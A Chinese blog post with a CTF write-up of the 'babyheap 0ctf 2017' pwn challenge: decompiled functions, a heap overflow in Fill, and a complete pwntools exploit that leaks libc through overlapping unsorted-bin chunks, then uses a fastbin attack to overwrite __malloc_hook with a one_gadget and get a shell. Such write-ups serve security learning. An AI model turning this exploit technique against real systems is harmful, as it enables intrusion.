Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
    • pwn1 sctf 2016
    • jarvisoj level0
    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
    • ciscn 2019 en 2
    • HarekazeCTF2019 baby rop
    • jarvisoj level2 x64
    • not the same 3dsctf 2016
    • ciscn 2019 n 5
    • others shellcode
    • ciscn 2019 ne 5
    • 铁人三项(第五赛区) 2018 rop
    • bjdctf 2020 babyrop
    • bjdctf 2020 babyrop2
    • jarvisoj fm
    • pwn2 sctf 2016
    • babyheap 0ctf 2017
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • HarekazeCTF2019_baby_rop2
    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
    • jarvisoj level3
    • ez pz hackover 2016
    • picoctf 2018 rop chain
    • Black Watch 入群题 PWN
    • jarvisoj level4
    • jarvisoj level3 x64
    • bjdctf 2020 babyrop2
    • ZJCTF 2019 EasyHeap
    • pwnable orw
    • wustctf2020 getshell
    • bjdctf 2020 router
    • hitcontraining uaf
    • picoctf 2018 buffer overflow 1
    • jarvisoj test your memory
    • mrctf2020 shellcode
    • inndy rop
    • picoctf 2018 buffer overflow 2
    • cmcc simplerop
    • xdctf2015 pwn200
    • bbys tu 2016
    • mrctf2020 easyoverflow
    • wustctf2020 getshell 2
    • ZJCTF 2019 Login
    • babyfengshui 33c3 2016
    • jarvisoj level1
    • ciscn 2019 s 4
    • ciscn 2019 n 3
    • hitcontraining magicheap
    • axb 2019 fmt32
    • gyctf 2020 borrowstack
    • wustctf2020 closed
    • pwnable start
    • others babystack
    • 0ctf 2017 babyheap
    • hitcontraining heapcreator
    • roarctf 2019 easy pwn
  • 笔记
  • PWN
Zephyr
2022-04-09
目录

babyheap 0ctf 2017

# babyheap 0ctf 2017

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/babyheap_0ctf_2017/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1
2
3
4
5
6

# 静态分析

主函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = init_heap();
  while ( 1 )
  {
    menu();
    switch ( get_number(); )
    {
      case 1uLL:
        Allocate(v4);
        break;
      case 2uLL:
        Fill(v4);
        break;
      case 3uLL:
        Free(v4);
        break;
      case 4uLL:
        Dump(v4);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

Allocate函数如下:

void __fastcall Allocate(heap *heap)
{
  signed int index; // [rsp+10h] [rbp-10h]
  signed int size; // [rsp+14h] [rbp-Ch]
  void *content; // [rsp+18h] [rbp-8h]

  for ( index = 0; index <= 15; ++index )            // 最多15个堆块
  {
    if ( !LODWORD(heap[index].isUse) )
    {
      printf("Size: ");
      size = get_number();
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        content = calloc(size, 1uLL);
        if ( !content )
          exit(-1);
        LODWORD(heap[index].isUse) = 1;             // isUse
        heap[index].size = size;                    // size
        heap[index].content = content;              // content
        printf("Allocate Index %d\n", index);
      }
      return;
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

Fill函数如下:

__int64 __fastcall Fill(heap *heap)
{
  __int64 index; // rax
  int v1; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = get_number();
  v1 = index;
  if ( index >= 0 && index <= 15 )
  {
    index = LODWORD(heap[index].isUse);
    if ( index == 1 )
    {
      printf("Size: ");
      index = get_number();
      size = index;
      if ( index > 0 )
      {
        printf("Content: ");
        index = read_content(heap[v1].content, size);     // 堆溢出
      }
    }
  }
  return index;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

Free函数如下:

__int64 __fastcall Free(heap *heap)
{
  __int64 number; // rax
  int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  number = get_number();
  index = number;
  if ( number >= 0 && number <= 15 )
  {
    number = LODWORD(heap[number].isUse);
    if ( number == 1 )
    {
      LODWORD(heap[index].isUse) = 0;
      heap[index].size = 0LL;
      free(heap[index].content);
      number = &heap[index];
      *(number + 16) = 0LL;
    }
  }
  return number;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

Dump函数如下:

signed int __fastcall Dump(heap *ptr)
{
  signed int number; // eax
  signed int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  number = get_number();
  index = number;
  if ( number >= 0 && number <= 15 )
  {
    number = ptr[number].isUse;
    if ( number == 1 )
    {
      puts("Content: ");
      write_content(ptr[index].content, ptr[index].size);
      number = puts(byte_14F1);
    }
  }
  return number;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

one_gadget如下:

one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 思路分析

  1. 目前信息:

    • Fill函数存在堆溢出点
    • Full RELRO
    • Canary found
    • NX enabled
    • PIE enabled
  2. 思路:

    • Dump函数可以打印堆内容,利用此特性与堆溢出的点构造重叠的Unsorted Bin块释放后泄漏main_arena及malloc_hook地址,接着fastbin attack修改malloc_hook为one_gadget地址,最后申请堆块获得shell

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/babyheap_0ctf_2017/babyheap_0ctf_2017'
io = remote('node4.buuoj.cn', 26469)
# io = process(pwnfile)
elf = ELF('/root/pwn/buuctf/babyheap_0ctf_2017/libc-2.23.so')


def Allocate(io, size):
    io.sendlineafter('Command: ', '1')
    io.sendlineafter('Size: ', str(size))


def Fill(io, index, content):
    io.sendlineafter('Command: ', '2')
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ', content)


def Free(io, index):
    io.sendlineafter('Command: ', '3')
    io.sendlineafter('Index: ', str(index))


def Dump(io, index):
    io.sendlineafter('Command: ', '4')
    io.sendlineafter('Index: ', str(index))


Allocate(io, 0x10)  # 0
Allocate(io, 0x80)  # 1
Allocate(io, 0x80)  # 2
Allocate(io, 0x10)  # 3   防止与top thunk合并

Fill(io, 0, flat([cyclic(0x18), 0x121]))
Free(io, 1)
Allocate(io, 0x80)  # 1
Dump(io, 2)
# 修改1块的size为1+2块的大小(包含head),free掉1块后再拿回来
# 导致Unsorted Bin分割了一块,并在剩余的块中填充控制信息fd,bk等
# 而剩余块刚好就是2块,dump2块可以泄漏fd与bk指针

malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x58-0x10
log.success("malloc_hook addr:"+hex(malloc_hook))
# 泄漏malloc_hook地址

libc_base = malloc_hook-elf.symbols['__malloc_hook']
one_gadget = libc_base+0x4526a

# 以下为fastbin attcak
Allocate(io, 0x80)  # 4~2  这个其实是2块
Allocate(io, 0x10)  # 5
Allocate(io, 0x60)  # 6
Free(io, 6)
Fill(io, 5, flat([cyclic(0x18), 0x71, malloc_hook-0x23]))
# 多偏移0x13的位置利用7f绕过fastbin检测
Allocate(io, 0x60)  # 6
Allocate(io, 0x60)  # 7
Fill(io, 7, flat([cyclic(0x13), one_gadget]))
Allocate(io, 0x10)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#buuctf#pwn#heap
上次更新: 2022/08/15, 00:29:49
pwn2 sctf 2016
HarekazeCTF2019_baby_rop2

← pwn2 sctf 2016 HarekazeCTF2019_baby_rop2→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×